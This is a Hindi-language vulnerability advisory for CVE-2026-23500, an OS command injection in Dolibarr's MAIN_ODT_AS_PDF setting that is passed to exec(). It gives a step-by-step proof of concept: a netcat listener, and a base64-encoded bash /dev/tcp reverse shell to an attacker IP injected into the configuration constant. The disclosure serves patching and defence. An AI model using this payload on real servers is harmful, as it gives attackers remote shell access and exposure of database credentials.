CVE-2026-23500: Dolibarr में MAIN_ODT_AS_PDF कॉन्फ़िगरेशन के माध्यम से OS कमांड इंजेक्शन (RCE)

अवलोकन

प्रभावित उत्पाद

• Dolibarr/dolibarr (संस्करण: <= 22.0.4)
• पैच किया गया: 23.0

CWE वर्गीकरण

• CWE-78: OS कमांड में प्रयुक्त विशेष तत्वों का अनुचित न्यूट्रलाइज़ेशन ('OS कमांड इंजेक्शन')

विवरण

सारांश

एक प्रमाणित व्यवस्थापक MAIN_ODT_AS_PDF कॉन्फ़िगरेशन स्थिरांक में दुर्भावनापूर्ण पेलोड इंजेक्ट करके मनमाने ऑपरेटिंग सिस्टम कमांड निष्पादित कर सकता है। यह भेद्यता इसलिए मौजूद है क्योंकि एप्लिकेशन ODT से PDF रूपांतरण प्रक्रिया में exec() फ़ंक्शन को पास करने से पहले कमांड पथ को ठीक से मान्य या एस्केप करने में विफल रहता है।

विवरण

यह भेद्यता htdocs/includes/odtphp/odf.php में स्थित है। जब सिस्टम किसी ODT दस्तावेज़ को PDF में परिवर्तित करने का प्रयास करता है (जैसे, प्रस्तावों, इनवॉइस में), तो यह MAIN_ODT_AS_PDF वैश्विक सेटिंग का उपयोग करके एक शेल कमांड बनाता है।

कोड स्निपेट (htdocs/includes/odtphp/odf.php, लगभग पंक्ति 930):

$command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);
// ...
exec($command, $output_arr, $retval);

जबकि फ़ाइलनाम $name को escapeshellcmd() का उपयोग करके सैनिटाइज़ किया जाता है, कॉन्फ़िगरेशन चर MAIN_ODT_AS_PDF सीधे डेटाबेस से प्राप्त किया जाता है और स्ट्रिंग की शुरुआत में जोड़ा जाता है। व्यवस्थापकीय विशेषाधिकारों वाला एक हमलावर इस चर को एक कमांड विभाजक (जैसे ;) के साथ सेट कर सकता है, जिसके बाद मनमाने कमांड जोड़े जा सकते हैं।

PoC

पूर्वापेक्षाएँ:

1. एक व्यवस्थापक के रूप में लॉगिन करें।
2. सुनिश्चित करें कि "Commercial Proposals" मॉड्यूल सक्षम है और इसकी सेटअप में "ODT टेम्पलेट" सक्रिय हैं।

पुनरुत्पादन के चरण (रिवर्स शेल):

1. हमलावर की मशीन पर netcat लिसनर प्रारंभ करें (IP: 172.26.0.1, पोर्ट: 4445):

   root@kitploit:~

   nc -lvnp 4445
   

2. पेलोड तैयार करें। वेब एप्लिकेशन या शेल द्वारा विशेष वर्णों (जैसे & या >) को एस्केप किए जाने की समस्याओं से बचने के लिए, रिवर्स शेल कमांड को Base64 में एन्कोड करें:

   root@kitploit:~

   # Command: bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'
   echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64
   # Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK
   

3. होम -> सेटअप -> अन्य सेटअप पर जाएँ।

4. निम्नलिखित इंजेक्शन पेलोड के साथ MAIN_ODT_AS_PDF स्थिरांक जोड़ें या संशोधित करें:

   root@kitploit:~

   jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash
   

   (व्याख्या: jodconverter प्रारंभिक जाँच को संतुष्ट करता है, ; कमांड विभाजक के रूप में कार्य करता है, और पाइपलाइन Base64 पेलोड को डिकोड करके निष्पादित करती है।)

6. netcat लिसनर की जाँच करें। एक कनेक्शन स्थापित होगा, जो सर्वर पर शेल प्रदान करेगा:

प्रभाव

रिमोट कोड निष्पादन (RCE)। एक हमलावर जो व्यवस्थापक खाते तक पहुँच प्राप्त करता है (या एक दुर्भावनापूर्ण व्यवस्थापक) वेब सर्वर उपयोगकर्ता (सामान्यतः www-data) के विशेषाधिकारों के साथ अंतर्निहित सर्वर पर मनमाने कमांड निष्पादित कर सकता है। यह अनुमति देता है:

• संवेदनशील कॉन्फ़िगरेशन फ़ाइलें पढ़ना (डेटाबेस क्रेडेंशियल)।
• एप्लिकेशन कोड संशोधित करना।
• सर्वर कॉन्फ़िगरेशन के आधार पर पूर्ण सिस्टम समझौता (जैसे, डॉकर एस्केप, पिवोटिंग)।

श्रेय

Łukasz Rybak द्वारा रिपोर्ट किया गया

संदर्भ

• https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-w5j3-8fcr-h87w
• https://nvd.nist.gov/vuln/detail/CVE-2026-23500

अस्वीकरण

यह CVE समन्वित भेद्यता प्रकटीकरण प्रथाओं का पालन करते हुए जिम्मेदारी से प्रकट किया गया था। यहाँ दी गई जानकारी केवल शैक्षिक और सुरक्षात्मक उद्देश्यों के लिए है।